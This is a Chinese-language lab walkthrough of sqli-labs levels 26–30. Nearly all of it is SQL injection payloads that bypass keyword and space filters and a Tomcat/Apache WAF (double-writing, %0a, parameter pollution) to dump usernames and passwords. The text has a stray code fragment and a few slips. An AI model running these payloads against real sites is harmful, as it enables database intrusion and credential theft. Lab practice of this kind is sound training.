26
发现有过滤我们看一下
发现过滤了--+空格和and,or,#
我们尝试括号代替空格的作用,and用||代替,并且选用空格较少的报错注入结尾用"'"闭合,0x7e是~
查询数据库
?id=1'||updatexml(1,concat(0x7e,(database()),0x7e),1)||'
查询表名
这里的infromation要写成infoorrmation双写绕过(过滤or)
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1)||'0
查询字段名
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'||table_name='users')),0x7e),1)||'
因为报错注入有上限,所以使用mid函数
?id=1'||updatexml(1,concat(0x7e,mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'||table_name='users')),1,31),0x7e),1)||'
?id=1'||updatexml(1,concat(0x7e,mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'||table_name='users')),31,100),0x7e),1)||'
查询数据
password改为passwoord双写绕过
?id=1'||updatexml(1,concat(0x7e,mid((select(group_concat(username,passwoorrd))from(users)),1,31),0x7e),1)||'
27
27关和26一样将过滤掉得直接显示出来
我们还是跟26关一样选择报错注入
?id=1'||updatexml(1,concat(0x7e,concat(database()),0x7e),1)||'0
按照16关相同的步骤即可
表名
?id=1'||updatexml(1,concat(0x7e,(seleseleselectctct(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1)||'0
列名
?id=1'||updatexml(1,concat(0x7e,mid((seleseleselectctct(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1,31),0x7e),1)||'0
?id=1'||updatexml(1,concat(0x7e,mid((seleseleselectctct(group_concat(column_name))from(information_schema.columns)where(table_name='users')),31,100),0x7e),1)||'0
数据
?id=1'||updatexml(1,concat(0x7e,mid((seleseleselectctct(group_concat(username,password))from(users)),1,31),0x7e),1)||'0
28关
过滤了union和select等的注入
双写绕过
判断字段数
?id=1') %0a order %0a by %0a 3;%00
确定回显点
?id=0') %0aunionunion %0a select%0aselect %0a 1,2,3;%00
查库
?id=0') %0aunionunion %0a select%0aselect %0a 1,2,database();%00
查表
?id=0') %0aunionunion %0a select%0aselect %0a 1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
查字段
?id=0') %0aunionunion %0a select%0aselect %0a 1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name='users';%00
查数据
?id=0') %0aunionunion %0a select%0aselect %0a 1,2,group_concat(username,password)%0afrom%0ausers;%00
29关
初始页面进入以后发现与第一关无异,发现得进入到login.php才算进入关卡
?id=1 显示正常
?id=1’ 跳转页面
如果一个网站只在tomcat服务器处做数据过滤和处理,我们可以利用解析参数的不同,对WAF检测进行绕过。
攻击payload:index.php?id=-1' union select 1,database(),3--+
union select…会被tomcat服务器识别为恶意攻击并拦截,而如果payload如下:
攻击payload:index.php?id=1&id=-1' union select 1,database(),3--+
n select 1,database(),3–+```
tomcat服务器检测第一个参数后发现无异常,提交给apache服务器。成功绕过WAF拦截
但是我的数据库可能被我玩坏了
不需要两次id(我会写两个代码第一个有waf,第二个是我自己用的)
判断字段数
?id=1&id=1' order by 3--+
?id=1' order by 3--+
判断回显的
?id=1&id=-1' union select 1,2,3--+
?id=-1' union select 1,2,3--+
查库
?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查表
?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查列
?id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查数据
?id=1&id=-1' union select 1,2,group_concat(username,password) from users--+
?id=-1' union select 1,2,group_concat(username,password) from users--+
第30关
与第29关相似只是'变"
判断字段数
?id=1&id=1" order by 3--+
?id=1" order by 3--+
判断回显的
?id=1&id=-1" union select 1,2,3--+
?id=-1" union select 1,2,3--+
查库
?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查表
?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查列
?id=1&id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查数据
?id=1&id=-1" union select 1,2,group_concat(username,password) from users--+
?id=-1" union select 1,2,group_concat(username,password) from users--+